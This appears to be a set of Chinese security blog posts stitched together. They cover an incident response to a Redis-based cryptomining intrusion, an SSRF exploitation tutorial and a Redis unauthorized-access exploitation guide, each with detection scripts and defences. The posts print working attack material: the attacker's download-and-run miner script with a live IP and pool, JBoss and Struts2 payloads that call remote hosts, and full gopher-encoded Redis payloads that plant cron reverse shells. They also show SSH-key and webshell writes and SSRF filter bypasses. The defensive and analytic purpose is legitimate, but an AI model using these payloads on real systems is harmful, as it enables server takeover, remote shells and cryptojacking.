简介


攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。

排查过程


检查进程发现SSH后门

[root@testserver tmp]# ps aux | grep 2345 | grep -v grep
root 13587 0.0 0.0 66624 1144 ? Ss Mar22 0:00 /tmp/su -oPort=2345
[root@testserver tmp]# lsof -p 13587
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
su 13587 root cwd DIR 202,2 4096 2 /
su 13587 root rtd DIR 202,2 4096 2 /
su 13587 root txt REG 202,2 546680 1718717 /usr/sbin/sshd

发现异常进程

root 1800 57064 0 00:46 ? 00:00:00 CROND
root 1801 1800 0 00:46 ? 00:00:00 /bin/sh -c curl -fsSL http://104.156.239.160:8080/conn.sh | sh 
root 1803 1801 0 00:46 ? 00:00:03 sh

PS中看到很多定时任务进程CROND,crontab -l发现又是redis写进来的,那么再看下/root/.ssh/authorized_keys,果然也写了免登陆。


发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh
脚本内容如下:

#!/bin/sh
ps -fe|grep conns |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi

sleepTime=20

while [ 0 -lt 1 ]
do
ps -fe| grep conns | grep -v grep 
if [ $? -ne 0 ]
then
echo "process not exists ,restart process now... "
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 & 
echo "restart done ..... "
else
echo "process exists , sleep $sleepTime seconds "
fi
sleep $sleepTime
done
[root@server120 tmp]# file /tmp/conn
/tmp/conn: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced

首先下载了一个图片,然后通过dd提取出来挖矿程序。

[root@server120 tmp]# file /tmp/conns
/tmp/conns: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

然后每20S检查一下进程是否存活。
这种通过Redis未授权拿服务器挖矿的情况很常见。

处理过程


1)redis增加认证,清空/var/spool/cron/root和authorized_keys。
2)删除后门
3)Kill异常进程
4)重启

0x01 漏洞描述


很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。如果对用户提交的URL没有做好判断,攻击者就可以通过该机器代理攻击内网服务器。容易导致SSRF漏洞的Web功能有分享功能、手机转码、图片相关等等,总之在请求的参数中存在URL的时候都需要敏感一些。

 

0x02 代码示例


1)file_get_contents

<?php

       $fh= file_get_contents($_GET['url']);

       echo $fh;

?>

2)curl_exec

<?php

       $ch = curl_init();

       curl_setopt($ch, CURLOPT_URL, $_GET["url"]);

       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

       curl_setopt($ch, CURLOPT_HEADER, 0);

       $output = curl_exec($ch);

       echo $output;

       curl_close($ch);

?>

3)fsockopen()

<?php

       function GetFile($host,$port,$link)

       {

              $fp = fsockopen($host, intval($port), $errno, $errstr, 30);

              if (!$fp) {

                     echo "$errstr (error number $errno) \n";

              }

              else {

                     $out = "GET $link HTTP/1.1\r\n";

                     $out .= "Host: $host\r\n";

                     $out .= "Connection: Close\r\n\r\n";

                     $out .= "\r\n";

                     fwrite($fp, $out);

                     $contents='';

                     while (!feof($fp)) {

                     $contents.= fgets($fp, 1024);

                     }

                     fclose($fp);

                     return $contents;

              }

       }

?>

 

0x03 漏洞利用


1、通过file协议读取本地文件

2、端口扫描

首选需要收集内网IP地址,常用方式有:

a)漏洞平台历史漏洞获取

b)子域名解析结果中

c)扫描器扫描(例如WVS扫描会报出内网IP)

另外可以分为两种有回显和无回显两种情况

例如Web服务,有回显的话,就有可能访问到一些敏感系统,另外还可以识别内网应用的CMS等等,针对性的攻击

而如果没有回显的话,则可以通过返回内容、返回数据包的长度、页面响应时间等等确认端口开放情况。

3、攻击内网Web应用

这个wooyun上有人分享过了,仅仅通过GET方法就能攻击的两个案例:

jboss部署Webshell

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war

通过JBOSS HtmlAdaptor接口直接部署远程war包, 我们可以通过access.log去验证war包是否成功部署。

structs2 命令执行

?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SERVER/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}

命令执行结果会发送到远端服务器,通过access.log获取。

4、配合gopher协议攻击本机或内网服务

Gopher 协议是 HTTP 协议出现之前。利用gopher协议可以把SSRF的威力发挥到极致。例如可以通过Gopher协议攻击redis、fastcgi、memcache等等。
需要注意的是有些版本的curl、libcurl是不支持gopher协议
查看下CentOS6.5的curl和libcurl的版本

[root@server120 php-fpm.d]# rpm -qa | grep curl
libcurl-7.19.7-52.el6.x86_64
libcurl-devel-7.19.7-52.el6.x86_64
python-pycurl-7.19.0-8.el6.x86_64
curl-7.19.7-52.el6.x86_64

查看下curl支持的协议

[root@server120 html]# curl -V
curl 7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp 
Features: GSS-Negotiate IDN IPv6 Largefile NTLM SSL libz

可以看到支持的协议为Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp
或者使用

[root@sso72 admin]# curl-config --protocols
HTTP
HTTPS
FTP
FTPS
FILE
TELNET
LDAP
DICT
TFTP

同样可以通过phpinfo看到

123

ssrf.php代码:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

通过sftp协议和dict协议,可以获取SSH和libcurl的版本。
可以使用netcat在公网起个监听,然后

curl -vv http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:2333

然后可以看到banner信息

[root@localhost netcat-0.7.1]# ./src/netcat -l -p 2333
CLIENT libcurl 7.19.7

QUIT

libcurl的版本为7.19.7

curl -vv http://127.0.0.1/ssrf.php?url=sftp://127.0.0.1:2333
[root@localhost netcat-0.7.1]# ./src/netcat -l -p 2333
SSH-2.0-libssh2_1.4.2

可以看到SSH的版本为SSH-2.0-libssh2_1.4.2

升级curl libcurl到7.51,升级步骤如下:

yum install epel-release -y
rpm -Uvh http://www.city-fan.org/ftp/contrib/yum-repo/rhel6/x86_64/city-fan.org-release-1-13.rhel6.noarch.rpm
yum install libcurl

查看升级后的版本:

[root@server120 yum.repos.d]# rpm -qa | grep curl
libcurl-7.51.0-3.0.cf.rhel6.x86_64
curl-7.51.0-3.0.cf.rhel6.x86_64
python-pycurl-7.19.0-8.el6.x86_64
libcurl-devel-7.51.0-3.0.cf.rhel6.x86_64

123

可以看到是支持gopher协议了,然后来测试一下:

curl -v 127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test
[root@server120 netcat-0.7.1]# ./src/netcat -l -p 2333
test

可以看到收到了test

然后测试写入本地未授权的redis服务器的定时任务

使用nc获取一下接受到的数据,使用nc监听本地6379端口,因为要输入多条命令所以这里使用-L
-L              监听直到NetCat被结束(可断开重连)
F:\tools\工具\nc>nc.exe -L -p 6379 > C:\redis.txt
然后输入redis未授权写入crontab的命令

redis-cli -h 192.168.190.201 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.190.200/2333 0>&1\n\n"|redis-cli -h 192.168.190.201 -x set 1
redis-cli -h 192.168.190.201 config set dir /var/spool/cron/
redis-cli -h 192.168.190.201 config set dbfilename root
redis-cli -h 192.168.190.201 save

然后看一下redis.txt中写入的部分内容
123

然后使用python urlencode一下

[root@server120 tmp]# cat gopher.py 
from urllib import quote
print quote(open('/tmp/redis2.txt').read())

[root@server120 tmp]# python gopher.py 
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

然后我们用curl提交一下

[root@server120 html]# curl gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
+OK
+OK
+OK
+OK
+OK

然后看一下redis,成功写入

[root@server120 tmp]# redis-cli 
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.190.200/2333 0>&1\n\n\n"

然后看下定时任务,成功写入定时任务
123

这是使用curl提交gopher请求,然后通过ssrf来提交一下gopher请求,这里需要再次urlencode

>>> from urllib import quote
>>> print quote('gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A')
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.190.200/2333%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

然后提交一下

curl 'http://127.0.0.1/ssrf.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.190.200/2333%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A'

可以成功写入定时任务。

另外针对PHP-FPM 9000端口监听本地的情况同样可以,不过前提是需要知道一个php文件的路径。

 

0x04 绕过姿势


1)http://www.baidu.com@10.10.10.10与http://10.10.10.10 请求是相同的

此脚本访问请求得到的内容都是10.10.10.10的内容。

该绕过同样在URL跳转绕过中适用。

http://www.wooyun.org/bugs/wooyun-2015-091690

2)ip地址转换成进制来访问

115.239.210.26 = 16373751032

3)添加端口可能绕过匹配正则

10.10.10.10:80 案例:

http://www.wooyun.org/bugs/wooyun-2014-061850

4)用短地址(302跳转)绕过,案例:

http://www.wooyun.org/bugs/wooyun-2010-0132243

http://www.wooyun.org/bugs/wooyun-2010-0135257

5)利用xip.io和xip.name

10.0.0.1.xip.io 10.0.0.1

www.10.0.0.1.xip.io 10.0.0.1

mysite.10.0.0.1.xip.io 10.0.0.1

foo.bar.10.0.0.1.xip.io 10.0.0.1
10.0.0.1.xip.name  resolves to  10.0.0.1

www.10.0.0.2.xip.name  resolves to  10.0.0.2

foo.10.0.0.3.xip.name  resolves to  10.0.0.3

bar.baz.10.0.0.4.xip.name  resolves to  10.0.0.4

 

0x05 参数检测


# -*- coding: utf8 -*-
"""
Server-side Request Forgery vulnerability
"""

import sys
import urlparse
import re
import socket
import struct
import requests  

def ip_into_int(ip):
	return reduce(lambda x,y:(x<<8)+y,map(int,ip.split('.')))

def is_internal_ip(ip):
	ip = ip_into_int(ip)
	net_a = ip_into_int('10.255.255.255') >> 24
	net_b = ip_into_int('172.31.255.255') >> 20
	net_c = ip_into_int('192.168.255.255') >> 16
	return ip >> 24 == net_a or ip >>20 == net_b or ip >> 16 == net_c

def ssrfcheck(url):
	'''
	SSRF绕过方式:
	a) 302 redirect
	b) mysite.10.0.0.1.xip.io:80
	c) 123@baidu.com
	d) 16373751032
	'''
	if '://' in url:
		if not url.startswith('http') and not url.startswith('https'):
			print "Unsupported scheme"
			sys.exit()
	else:
		url = 'http://' + url
	domain = urlparse.urlsplit(url).netloc
	path = urlparse.urlsplit(url).path
	scheme = urlparse.urlsplit(url).scheme
	port = ''
	if '@' in domain: # 123@baidu.com
		domain = domain[domain.index('@') + 1:]
	if re.findall(':\d{1,5}$', domain): # mysite.10.0.0.1.xip.io:80
		_list = domain.split(':')
		domain = _list[0]
		port = _list[1]
	if re.findall('^\d*$', domain): # 16373751032
		domain = socket.inet_ntoa(struct.pack('I',socket.htonl(int(domain))))
	compile_ip=re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')    
	if compile_ip.match(domain):    
	    ipaddr = domain    
	else:    
		ipaddr = socket.gethostbyname(domain)
	if not is_internal_ip(ipaddr):
		if port:
			url = scheme + "://" + domain + ":" + port + path
		else:
			url = scheme + "://" + domain + path
		print url
		try: # 302 redirect
			r = requests.head(url, stream=True, timeout=1)  
			if r.status_code == 302:
				print "302 Redirect"
				_url = r.headers['Location']
				ssrfcheck(_url)
			else:
				print "External IP"
		except Exception, e:
			print e
			return False
	else:
		print "Intranet IP"
	
if __name__ == '__main__':
	ssrfcheck(sys.argv[1])

 

0x06 参考文章


http://www.tuicool.com/articles/32UnAzq

http://0cx.cc/some_tips_with_sssrf.jspx

http://wufeifei.com/ssrf/

0x01 漏洞原理


目前Redis持久化的方式有两种: RDB 和 AOF
1)RDB
RDB就是Snapshot快照存储,是默认的持久化方式。
可理解为半持久化模式,即按照一定的策略周期性的将数据保存到磁盘。
对应产生的数据文件为dump.rdb,通过配置文件中的save参数来定义快照的周期。
下面是默认的快照设置:

save 900 1 #当有一条Keys数据被改变时,900秒刷新到Disk一次
save 300 10 #当有10条Keys数据被改变时,300秒刷新到Disk一次
save 60 10000 #当有10000条Keys数据被改变时,60秒刷新到Disk一次

可以很明显的看到,RDB有它的不足,就是一旦数据库出现问题,那么我们的RDB文件中保存的数据并不是全新的。
从上次RDB文件生成到Redis停机这段时间的数据全部丢掉了。
2)AOF
Redis会将每一个收到的写命令都通过Write函数追加到文件中,类似于MySQL的binlog。
当Redis重启是会通过重新执行文件中保存的写命令来在内存中重建整个数据库的内容。

其实redis未授权的利用主要是通过config动态修改配置,修改快照存储的文件名称和目录,来实现任意写入文件。

 

0x02 漏洞利用


1)如果ssh端口可以连接,可直接把自己生成的SSH公钥文件写入到user/.ssh的目录下,实现ssh免认证登录。Linux下可以设置SSH免密码登录,方法为使用”公私钥”认证,即首先在客户端上创建一对公私钥 (公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa)。然后把公钥放到服务器上(~/.ssh/authorized_keys), 自己保留好私钥.在使用ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配.如果匹配成功就可以登录了。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "生成的公钥"
save
exit

2)如果ssh端口未开放,可以写到crontab 里执行反弹。
利用方式如下:

echo -e "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.190.201/8888 0>&1\n\n"|/usr/local/bin/redis-cli -h 192.168.192.120 -x set 1
/usr/local/bin/redis-cli -h 192.168.192.120 config set dir /var/spool/cron/
/usr/local/bin/redis-cli -h 192.168.192.120 config set dbfilename root
/usr/local/bin/redis-cli -h 192.168.192.120 save

3)针对Web服务如果知道web路径(例如phpinfo)可以直接写shell。

[root@vincent src]# ./redis-cli -h 172.16.100.151
172.16.100.151:6379> config set dir /var/www/html/
OK
172.16.100.151:6379> config set dbfilename redis.php
OK
172.16.100.151:6379> set webshell "<?php phpinfo(); ?>"
OK
172.16.100.151:6379> save
OK

 

0x03 漏洞检测


# -*- coding: utf8 -*-
'''
Description: Redis unauthorised access and weak password vulnerability.
'''
import socket
import sys

def redischeck(ip, port):
    try:
        socket.setdefaulttimeout(2)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return "unauthorised access"
        elif "Authentication" in result:
            for password in PASS_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" % (password))
                result = s.recv(1024)
                if '+OK' in result:
                    return "Week Password:%s" % (password)
    except Exception, e:
        print e
        pass
if __name__ == '__main__':
    PASS_DIC = ['admin', 'admin123']
    arg = sys.argv[1]
    if ':' in arg:
        ip = arg.split(':')[0]
        port = arg.split(':')[1]
    else:
        ip = arg
        port = 6379
    print ip, port, redischeck(ip, port)

 

0x04 漏洞防御


1)禁止以Root权限启动redis
2)添加认证requirepass xxxxxxxx
3)如果本地调用则bind 127.0.0.1,如果需要远程访问,则添加iptables限制访问源。